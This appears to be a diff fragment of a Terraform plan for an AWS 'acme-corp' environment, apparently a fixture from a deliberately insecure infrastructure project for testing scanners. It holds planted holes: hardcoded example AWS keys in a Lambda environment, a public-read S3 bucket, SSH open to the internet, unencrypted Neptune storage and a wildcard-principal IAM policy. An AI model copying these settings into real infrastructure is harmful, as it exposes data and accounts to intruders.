"provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "ami": "ami-0f0a6d00932023856", - "credit_specification": [], - "disable_api_termination": null, - "ebs_optimized": null, - "get_password_data": false, - "hibernation": null, - "iam_instance_profile": "123456789123-acme-corp-profile", - "instance_initiated_shutdown_behavior": null, - "instance_type": "t2.nano", - "monitoring": null, - "source_dest_check": true, - "tags": { - "Name": "123456789123-acme-corp-dbapp" - }, - "timeouts": null, - "user_data_base64": null - }, - "after_unknown": { - "arn": true, - "associate_public_ip_address": true, - "availability_zone": true, - "cpu_core_count": true, - "cpu_threads_per_core": true, - "credit_specification": [], - "ebs_block_device": true, - "ephemeral_block_device": true, - "host_id": true, - "id": true, - "instance_state": true, - "ipv6_address_count": true, - "ipv6_addresses": true, - "key_name": true, - "metadata_options": true, - "network_interface": true, - "outpost_arn": true, - "password_data": true, - "placement_group": true, - "primary_network_interface_id": true, - "private_dns": true, - "private_ip": true, - "public_dns": true, - "public_ip": true, - "root_block_device": true, - "secondary_private_ips": true, - "security_groups": true, - "subnet_id": true, - "tags": {}, - "tenancy": true, - "user_data": true, - "volume_tags": true, - "vpc_security_group_ids": true - } - } - }, - { - "address": "aws_instance.web_host", - "mode": "managed", - "type": "aws_instance", - "name": "web_host", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "ami": "ami-09a5b0b7edf08843d", - "credit_specification": [], - "disable_api_termination": null, - "ebs_optimized": null, - "get_password_data": false, - "hibernation": null, - "iam_instance_profile": null, - "instance_initiated_shutdown_behavior": null, - "instance_type": "t2.nano", - "monitoring": null, - "source_dest_check": true, - "tags": { - "Name": "123456789123-acme-corp-ec2" - }, - "timeouts": null, - "user_data": "44c6c808e6449ee36dfcfc4ebd66c1b9634b40f2", - "user_data_base64": null - }, - "after_unknown": { - "arn": true, - "associate_public_ip_address": true, - "availability_zone": true, - "cpu_core_count": true, - "cpu_threads_per_core": true, - "credit_specification": [], - "ebs_block_device": true, - "ephemeral_block_device": true, - "host_id": true, - "id": true, - "instance_state": true, - "ipv6_address_count": true, - "ipv6_addresses": true, - "key_name": true, - "metadata_options": true, - "network_interface": true, - "outpost_arn": true, - "password_data": true, - "placement_group": true, - "primary_network_interface_id": true, - "private_dns": true, - "private_ip": true, - "public_dns": true, - "public_ip": true, - "root_block_device": true, - "secondary_private_ips": true, - "security_groups": true, - "subnet_id": true, - "tags": {}, - "tenancy": true, - "volume_tags": true, - "vpc_security_group_ids": true - } - } - }, - { - "address": "aws_internet_gateway.web_igw", - "mode": "managed", - "type": "aws_internet_gateway", - "name": "web_igw", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "tags": { - "Name": "123456789123-acme-corp-igw" - } - }, - "after_unknown": { - "arn": true, - "id": true, - "owner_id": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_kms_alias.logs_key_alias", - "mode": "managed", - "type": "aws_kms_alias", - "name": "logs_key_alias", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "name": "alias/123456789123-acme-corp-logs-bucket-key", - "name_prefix": null - }, - "after_unknown": { - "arn": true, - "id": true, - "target_key_arn": true, - "target_key_id": true - } - } - }, - { - "address": "aws_kms_key.logs_key", - "mode": "managed", - "type": "aws_kms_key", - "name": "logs_key", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "customer_master_key_spec": "SYMMETRIC_DEFAULT", - "deletion_window_in_days": 7, - "description": "123456789123-acme-corp-logs bucket key", - "enable_key_rotation": false, - "is_enabled": true, - "key_usage": "ENCRYPT_DECRYPT", - "tags": null - }, - "after_unknown": { - "arn": true, - "id": true, - "key_id": true, - "policy": true - } - } - }, - { - "address": "aws_lambda_function.analysis_lambda", - "mode": "managed", - "type": "aws_lambda_function", - "name": "analysis_lambda", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "dead_letter_config": [], - "description": null, - "environment": [ - { - "variables": { - "access_key": "AKIAIOSFODNN7EXAMPLE", - "secret_key": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY" - } - } - ], - "file_system_config": [], - "filename": "resources/lambda_function_payload.zip", - "function_name": "123456789123-acme-corp-analysis", - "handler": "exports.test", - "kms_key_arn": null, - "layers": null, - "memory_size": 128, - "publish": false, - "reserved_concurrent_executions": -1, - "runtime": "nodejs12.x", - "s3_bucket": null, - "s3_key": null, - "s3_object_version": null, - "source_code_hash": "Fne61Y/F2pmVywaVqIYcztFMK3LNeMJKpWFNnxDdGTw=", - "tags": null, - "timeout": 3, - "timeouts": null, - "vpc_config": [] - }, - "after_unknown": { - "arn": true, - "dead_letter_config": [], - "environment": [ - { - "variables": {} - } - ], - "file_system_config": [], - "id": true, - "invoke_arn": true, - "last_modified": true, - "qualified_arn": true, - "role": true, - "source_code_size": true, - "tracing_config": true, - "version": true, - "vpc_config": [] - } - } - }, - { - "address": "aws_neptune_cluster.default", - "mode": "managed", - "type": "aws_neptune_cluster", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "apply_immediately": true, - "backup_retention_period": 5, - "cluster_identifier": "neptunedb1", - "deletion_protection": null, - "enable_cloudwatch_logs_exports": null, - "engine": "neptune", - "final_snapshot_identifier": null, - "iam_database_authentication_enabled": false, - "iam_roles": null, - "neptune_cluster_parameter_group_name": "default.neptune1", - "port": 8182, - "preferred_backup_window": "07:00-09:00", - "replication_source_identifier": null, - "skip_final_snapshot": true, - "snapshot_identifier": null, - "storage_encrypted": false, - "tags": null, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "availability_zones": true, - "cluster_identifier_prefix": true, - "cluster_members": true, - "cluster_resource_id": true, - "endpoint": true, - "engine_version": true, - "hosted_zone_id": true, - "id": true, - "kms_key_arn": true, - "neptune_subnet_group_name": true, - "preferred_maintenance_window": true, - "reader_endpoint": true, - "vpc_security_group_ids": true - } - } - }, - { - "address": "aws_neptune_cluster_instance.default[0]", - "mode": "managed", - "type": "aws_neptune_cluster_instance", - "name": "default", - "index": 0, - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "apply_immediately": true, - "auto_minor_version_upgrade": true, - "engine": "neptune", - "instance_class": "db.t3.medium", - "neptune_parameter_group_name": "default.neptune1", - "port": 8182, - "promotion_tier": 0, - "publicly_accessible": false, - "tags": null, - "timeouts": null - }, - "after_unknown": { - "address": true, - "arn": true, - "availability_zone": true, - "cluster_identifier": true, - "dbi_resource_id": true, - "endpoint": true, - "engine_version": true, - "id": true, - "identifier": true, - "identifier_prefix": true, - "kms_key_arn": true, - "neptune_subnet_group_name": true, - "preferred_backup_window": true, - "preferred_maintenance_window": true, - "storage_encrypted": true, - "writer": true - } - } - }, - { - "address": "aws_neptune_cluster_snapshot.default", - "mode": "managed", - "type": "aws_neptune_cluster_snapshot", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "db_cluster_snapshot_identifier": "resourcetestsnapshot1", - "timeouts": null - }, - "after_unknown": { - "allocated_storage": true, - "availability_zones": true, - "db_cluster_identifier": true, - "db_cluster_snapshot_arn": true, - "engine": true, - "engine_version": true, - "id": true, - "kms_key_id": true, - "license_model": true, - "port": true, - "snapshot_type": true, - "source_db_cluster_snapshot_arn": true, - "status": true, - "storage_encrypted": true, - "vpc_id": true - } - } - }, - { - "address": "aws_network_interface.web-eni", - "mode": "managed", - "type": "aws_network_interface", - "name": "web-eni", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "description": null, - "private_ips": [ - "172.16.10.100" - ], - "source_dest_check": true, - "tags": { - "Name": "123456789123-acme-corp-primary_network_interface" - } - }, - "after_unknown": { - "attachment": true, - "id": true, - "ipv6_address_count": true, - "ipv6_addresses": true, - "mac_address": true, - "outpost_arn": true, - "private_dns_name": true, - "private_ip": true, - "private_ips": [ - false - ], - "private_ips_count": true, - "security_groups": true, - "subnet_id": true, - "tags": {} - } - } - }, - { - "address": "aws_route.public_internet_gateway", - "mode": "managed", - "type": "aws_route", - "name": "public_internet_gateway", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "destination_cidr_block": "0.0.0.0/0", - "destination_ipv6_cidr_block": null, - "timeouts": { - "create": "5m", - "delete": null - }, - "transit_gateway_id": null, - "vpc_peering_connection_id": null - }, - "after_unknown": { - "destination_prefix_list_id": true, - "egress_only_gateway_id": true, - "gateway_id": true, - "id": true, - "instance_id": true, - "instance_owner_id": true, - "local_gateway_id": true, - "nat_gateway_id": true, - "network_interface_id": true, - "origin": true, - "route_table_id": true, - "state": true, - "timeouts": {} - } - } - }, - { - "address": "aws_route_table.web_rtb", - "mode": "managed", - "type": "aws_route_table", - "name": "web_rtb", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "tags": { - "Name": "123456789123-acme-corp-rtb" - } - }, - "after_unknown": { - "id": true, - "owner_id": true, - "propagating_vgws": true, - "route": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_route_table_association.rtbassoc", - "mode": "managed", - "type": "aws_route_table_association", - "name": "rtbassoc", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "gateway_id": null - }, - "after_unknown": { - "id": true, - "route_table_id": true, - "subnet_id": true - } - } - }, - { - "address": "aws_route_table_association.rtbassoc2", - "mode": "managed", - "type": "aws_route_table_association", - "name": "rtbassoc2", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "gateway_id": null - }, - "after_unknown": { - "id": true, - "route_table_id": true, - "subnet_id": true - } - } - }, - { - "address": "aws_s3_bucket.data", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "data", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "public-read", - "bucket": "123456789123-acme-corp-data", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-data" - }, - "website": [] - }, - "after_unknown": { - "acceleration_status": true, - "arn": true, - "bucket_domain_name": true, - "bucket_regional_domain_name": true, - "cors_rule": [], - "grant": [], - "hosted_zone_id": true, - "id": true, - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "region": true, - "replication_configuration": [], - "request_payer": true, - "server_side_encryption_configuration": [], - "tags": {}, - "versioning": true, - "website": [], - "website_domain": true, - "website_endpoint": true - } - } - }, - { - "address": "aws_s3_bucket.data_science", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "data_science", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "private", - "bucket": "123456789123-acme-corp-data-science", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [ - { - "target_prefix": "log/" - } - ], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": null, - "versioning": [ - { - "enabled": true, - "mfa_delete": false - } - ], - "website": [] - }, - "after_unknown": { - "acceleration_status": true, - "arn": true, - "bucket_domain_name": true, - "bucket_regional_domain_name": true, - "cors_rule": [], - "grant": [], - "hosted_zone_id": true, - "id": true, - "lifecycle_rule": [], - "logging": [ - { - "target_bucket": true - } - ], - "object_lock_configuration": [], - "region": true, - "replication_configuration": [], - "request_payer": true, - "server_side_encryption_configuration": [], - "versioning": [ - {} - ], - "website": [], - "website_domain": true, - "website_endpoint": true - } - } - }, - { - "address": "aws_s3_bucket.financials", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "financials", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "private", - "bucket": "123456789123-acme-corp-financials", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-financials" - }, - "website": [] - }, - "after_unknown": { - "acceleration_status": true, - "arn": true, - "bucket_domain_name": true, - "bucket_regional_domain_name": true, - "cors_rule": [], - "grant": [], - "hosted_zone_id": true, - "id": true, - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "region": true, - "replication_configuration": [], - "request_payer": true, - "server_side_encryption_configuration": [], - "tags": {}, - "versioning": true, - "website": [], - "website_domain": true, - "website_endpoint": true - } - } - }, - { - "address": "aws_s3_bucket.flowbucket", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "flowbucket", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "private", - "bucket": "123456789123-acme-corp-flowlogs", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-flowlogs" - }, - "website": [] - }, - "after_unknown": { - "acceleration_status": true, - "arn": true, - "bucket_domain_name": true, - "bucket_regional_domain_name": true, - "cors_rule": [], - "grant": [], - "hosted_zone_id": true, - "id": true, - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "region": true, - "replication_configuration": [], - "request_payer": true, - "server_side_encryption_configuration": [], - "tags": {}, - "versioning": true, - "website": [], - "website_domain": true, - "website_endpoint": true - } - } - }, - { - "address": "aws_s3_bucket.logs", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "logs", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "log-delivery-write", - "bucket": "123456789123-acme-corp-logs", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [ - { - "rule": [ - { - "apply_server_side_encryption_by_default": [ - { - "sse_algorithm": "aws:kms" - } - ] - } - ] - } - ], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-logs" - }, - "versioning": [ - { - "enabled": true, - "mfa_delete": false - } - ], - "website": [] - }, - "after_unknown": { - "acceleration_status": true, - "arn": true, - "bucket_domain_name": true, - "bucket_regional_domain_name": true, - "cors_rule": [], - "grant": [], - "hosted_zone_id": true, - "id": true, - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "region": true, - "replication_configuration": [], - "request_payer": true, - "server_side_encryption_configuration": [ - { - "rule": [ - { - "apply_server_side_encryption_by_default": [ - { - "kms_master_key_id": true - } - ] - } - ] - } - ], - "tags": {}, - "versioning": [ - {} - ], - "website": [], - "website_domain": true, - "website_endpoint": true - } - } - }, - { - "address": "aws_s3_bucket.operations", - "mode": "managed", - "type": "aws_s3_bucket", - "name": "operations", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "private", - "bucket": "123456789123-acme-corp-operations", - "bucket_prefix": null, - "cors_rule": [], - "force_destroy": true, - "grant": [], - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "policy": null, - "replication_configuration": [], - "server_side_encryption_configuration": [], - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-operations" - }, - "versioning": [ - { - "enabled": true, - "mfa_delete": false - } - ], - "website": [] - }, - "after_unknown": { - "acceleration_status": true, - "arn": true, - "bucket_domain_name": true, - "bucket_regional_domain_name": true, - "cors_rule": [], - "grant": [], - "hosted_zone_id": true, - "id": true, - "lifecycle_rule": [], - "logging": [], - "object_lock_configuration": [], - "region": true, - "replication_configuration": [], - "request_payer": true, - "server_side_encryption_configuration": [], - "tags": {}, - "versioning": [ - {} - ], - "website": [], - "website_domain": true, - "website_endpoint": true - } - } - }, - { - "address": "aws_s3_bucket_object.data_object", - "mode": "managed", - "type": "aws_s3_bucket_object", - "name": "data_object", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "acl": "private", - "cache_control": null, - "content": null, - "content_base64": null, - "content_disposition": null, - "content_encoding": null, - "content_language": null, - "force_destroy": false, - "key": "customer-master.xlsx", - "metadata": null, - "object_lock_legal_hold_status": null, - "object_lock_mode": null, - "object_lock_retain_until_date": null, - "source": "resources/customer-master.xlsx", - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-customer-master" - }, - "website_redirect": null - }, - "after_unknown": { - "bucket": true, - "content_type": true, - "etag": true, - "id": true, - "kms_key_id": true, - "server_side_encryption": true, - "storage_class": true, - "tags": {}, - "version_id": true - } - } - }, - { - "address": "aws_security_group.default", - "mode": "managed", - "type": "aws_security_group", - "name": "default", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "description": "Managed by Terraform", - "name": "123456789123-acme-corp-rds-sg", - "name_prefix": null, - "revoke_rules_on_delete": false, - "tags": { - "Environment": "123456789123-acme-corp", - "Name": "123456789123-acme-corp-rds-sg" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "egress": true, - "id": true, - "ingress": true, - "owner_id": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_security_group.web-node", - "mode": "managed", - "type": "aws_security_group", - "name": "web-node", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "description": "123456789123-acme-corp Security Group", - "egress": [ - { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": "", - "from_port": 0, - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "protocol": "-1", - "security_groups": [], - "self": false, - "to_port": 0 - } - ], - "ingress": [ - { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": "", - "from_port": 22, - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "protocol": "tcp", - "security_groups": [], - "self": false, - "to_port": 22 - }, - { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": "", - "from_port": 80, - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "protocol": "tcp", - "security_groups": [], - "self": false, - "to_port": 80 - } - ], - "name": "123456789123-acme-corp-sg", - "name_prefix": null, - "revoke_rules_on_delete": false, - "tags": null, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "egress": [ - { - "cidr_blocks": [ - false - ], - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "security_groups": [] - } - ], - "id": true, - "ingress": [ - { - "cidr_blocks": [ - false - ], - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "security_groups": [] - }, - { - "cidr_blocks": [ - false - ], - "ipv6_cidr_blocks": [], - "prefix_list_ids": [], - "security_groups": [] - } - ], - "owner_id": true, - "vpc_id": true - } - } - }, - { - "address": "aws_security_group_rule.egress", - "mode": "managed", - "type": "aws_security_group_rule", - "name": "egress", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "cidr_blocks": [ - "0.0.0.0/0" - ], - "description": null, - "from_port": 0, - "ipv6_cidr_blocks": null, - "prefix_list_ids": null, - "protocol": "-1", - "self": false, - "to_port": 0, - "type": "egress" - }, - "after_unknown": { - "cidr_blocks": [ - false - ], - "id": true, - "security_group_id": true, - "source_security_group_id": true - } - } - }, - { - "address": "aws_security_group_rule.ingress", - "mode": "managed", - "type": "aws_security_group_rule", - "name": "ingress", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "cidr_blocks": [ - "172.16.0.0/16" - ], - "description": null, - "from_port": 3306, - "ipv6_cidr_blocks": null, - "prefix_list_ids": null, - "protocol": "tcp", - "self": false, - "to_port": 3306, - "type": "ingress" - }, - "after_unknown": { - "cidr_blocks": [ - false - ], - "id": true, - "security_group_id": true, - "source_security_group_id": true - } - } - }, - { - "address": "aws_subnet.eks_subnet1", - "mode": "managed", - "type": "aws_subnet", - "name": "eks_subnet1", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2a", - "cidr_block": "10.10.10.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-eks-subnet", - "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "availability_zone_id": true, - "id": true, - "ipv6_cidr_block_association_id": true, - "owner_id": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_subnet.eks_subnet2", - "mode": "managed", - "type": "aws_subnet", - "name": "eks_subnet2", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2b", - "cidr_block": "10.10.11.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-eks-subnet2", - "kubernetes.io/cluster/123456789123-acme-corp-eks": "shared" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "availability_zone_id": true, - "id": true, - "ipv6_cidr_block_association_id": true, - "owner_id": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_subnet.web_subnet", - "mode": "managed", - "type": "aws_subnet", - "name": "web_subnet", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2a", - "cidr_block": "172.16.10.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-subnet" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "availability_zone_id": true, - "id": true, - "ipv6_cidr_block_association_id": true, - "owner_id": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_subnet.web_subnet2", - "mode": "managed", - "type": "aws_subnet", - "name": "web_subnet2", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assign_ipv6_address_on_creation": false, - "availability_zone": "us-west-2b", - "cidr_block": "172.16.11.0/24", - "ipv6_cidr_block": null, - "map_public_ip_on_launch": true, - "outpost_arn": null, - "tags": { - "Name": "123456789123-acme-corp-subnet2" - }, - "timeouts": null - }, - "after_unknown": { - "arn": true, - "availability_zone_id": true, - "id": true, - "ipv6_cidr_block_association_id": true, - "owner_id": true, - "tags": {}, - "vpc_id": true - } - } - }, - { - "address": "aws_volume_attachment.ebs_att", - "mode": "managed", - "type": "aws_volume_attachment", - "name": "ebs_att", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "device_name": "/dev/sdh", - "force_detach": null, - "skip_destroy": null - }, - "after_unknown": { - "id": true, - "instance_id": true, - "volume_id": true - } - } - }, - { - "address": "aws_vpc.eks_vpc", - "mode": "managed", - "type": "aws_vpc", - "name": "eks_vpc", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assign_generated_ipv6_cidr_block": false, - "cidr_block": "10.10.0.0/16", - "enable_dns_hostnames": true, - "enable_dns_support": true, - "instance_tenancy": "default", - "tags": { - "Name": "123456789123-acme-corp-eks-vpc" - } - }, - "after_unknown": { - "arn": true, - "default_network_acl_id": true, - "default_route_table_id": true, - "default_security_group_id": true, - "dhcp_options_id": true, - "enable_classiclink": true, - "enable_classiclink_dns_support": true, - "id": true, - "ipv6_association_id": true, - "ipv6_cidr_block": true, - "main_route_table_id": true, - "owner_id": true, - "tags": {} - } - } - }, - { - "address": "aws_vpc.web_vpc", - "mode": "managed", - "type": "aws_vpc", - "name": "web_vpc", - "provider_name": "aws", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "assign_generated_ipv6_cidr_block": false, - "cidr_block": "172.16.0.0/16", - "enable_dns_hostnames": true, - "enable_dns_support": true, - "instance_tenancy": "default", - "tags": { - "Name": "123456789123-acme-corp-vpc" - } - }, - "after_unknown": { - "arn": true, - "default_network_acl_id": true, - "default_route_table_id": true, - "default_security_group_id": true, - "dhcp_options_id": true, - "enable_classiclink": true, - "enable_classiclink_dns_support": true, - "id": true, - "ipv6_association_id": true, - "ipv6_cidr_block": true, - "main_route_table_id": true, - "owner_id": true, - "tags": {} - } - } - }, - { - "address": "null_resource.push_image", - "mode": "managed", - "type": "null_resource", - "name": "push_image", - "provider_name": "null", - "change": { - "actions": [ - "create" - ], - "before": null, - "after": { - "triggers": null - }, - "after_unknown": { - "id": true - } - } - } - ], - "output_changes": { - "db_app_public_dns": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "db_endpoint": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "ec2_public_dns": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "endpoint": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "kubeconfig-certificate-authority-data": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "public_subnet": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "public_subnet2": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "secret": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - }, - "username": { - "actions": [ - "create" - ], - "before": null, - "after": "123456789123-acme-corp-user", - "after_unknown": false - }, - "vpc_id": { - "actions": [ - "create" - ], - "before": null, - "after_unknown": true - } - }, - "prior_state": { - "format_version": "0.1", - "terraform_version": "0.12.23", - "values": { - "root_module": { - "resources": [ - { - "address": "data.aws_ami.amazon-linux-2", - "mode": "data", - "type": "aws_ami", - "name": "amazon-linux-2", - "provider_name": "aws", - "schema_version": 0, - "values": { - "architecture": "x86_64", - "arn": "arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856", - "block_device_mappings": [ - { - "device_name": "/dev/xvda", - "ebs": { - "delete_on_termination": "true", - "encrypted": "false", - "iops": "0", - "snapshot_id": "snap-06c1606ba5ca274b1", - "volume_size": "8", - "volume_type": "standard" - }, - "no_device": "", - "virtual_name": "" - } - ], - "creation_date": "2020-09-22T02:09:24.000Z", - "description": "Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs", - "executable_users": null, - "filter": [ - { - "name": "name", - "values": [ - "amzn2-ami-hvm-*-x86_64-ebs" - ] - }, - { - "name": "owner-alias", - "values": [ - "amazon" - ] - } - ], - "hypervisor": "xen", - "id": "ami-0f0a6d00932023856", - "image_id": "ami-0f0a6d00932023856", - "image_location": "amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", - "image_owner_alias": "amazon", - "image_type": "machine", - "kernel_id": null, - "most_recent": true, - "name": "amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs", - "name_regex": null, - "owner_id": "137112412989", - "owners": [ - "amazon" - ], - "platform": null, - "product_codes": [], - "public": true, - "ramdisk_id": null, - "root_device_name": "/dev/xvda", - "root_device_type": "ebs", - "root_snapshot_id": "snap-06c1606ba5ca274b1", - "sriov_net_support": "simple", - "state": "available", - "state_reason": { - "code": "UNSET", - "message": "UNSET" - }, - "tags": {}, - "virtualization_type": "hvm" - } - }, - { - "address": "data.aws_caller_identity.current", - "mode": "data", - "type": "aws_caller_identity", - "name": "current", - "provider_name": "aws", - "schema_version": 0, - "values": { - "account_id": "123456789123", - "arn": "arn:aws:iam::123456789123:user/barak@bridgecrew.io", - "id": "123456789123", - "user_id": "AIDA2MPWNTLGWKZRRDYTT" - } - }, - { - "address": "data.aws_iam_policy_document.iam_policy_eks", - "mode": "data", - "type": "aws_iam_policy_document", - "name": "iam_policy_eks", - "provider_name": "aws", - "schema_version": 0, - "values": { - "id": "189502314", - "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Principal\": {\n \"Service\": \"eks.amazonaws.com\"\n }\n }\n ]\n}", - "override_json": null, - "policy_id": null, - "source_json": null, - "statement": [ - { - "actions": [ - "sts:AssumeRole" - ], - "condition": [], - "effect": "Allow", - "not_actions": [], - "not_principals": [], - "not_resources": [], - "principals": [ - { - "identifiers": [ - "eks.amazonaws.com" - ], - "type": "Service" - } - ], - "resources": [], - "sid": "" - } - ], - "version": "2012-10-17" - } - }, - { - "address": "data.aws_iam_policy_document.policy", - "mode": "data", - "type": "aws_iam_policy_document", - "name": "policy", - "provider_name": "aws", - "schema_version": 0, - "values": { - "id": "3931805674", - "json": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"\",\n \"Effect\": \"Allow\",\n \"Action\": \"es:*\",\n \"Resource\": \"*\",\n \"Principal\": {\n \"AWS\": \"*\"\n }\n }\n ]\n}", - "override_json": null, - "policy_id": null, - "source_json": null, - "statement": [ - { - "actions": [ - "es:*" - ], - "condition": [], - "effect": "Allow", - "not_actions": [], - "not_principals": [], - "not_resources": [], - "principals": [ - { - "identifiers": [ - "*" - ], - "type": "AWS" - } - ], - "resources": [ - "*" - ], - "sid": "" - } - ], - "version": "2012-10-17" - } - } - ] - } - } - }, - "configuration": { - "provider_config": { - "aws": { - "name": "aws", - "expressions": { - "profile": { - "constant_value": "acme3" - }, - "region": { - "constant_value": "us-west-2" - } - } - } - }, - "root_module": { - "outputs": { - "db_app_public_dns": { - "expression": { - "references": [ - "aws_instance.db_app" - ] - }, - "description": "DB Public DNS name" - }, 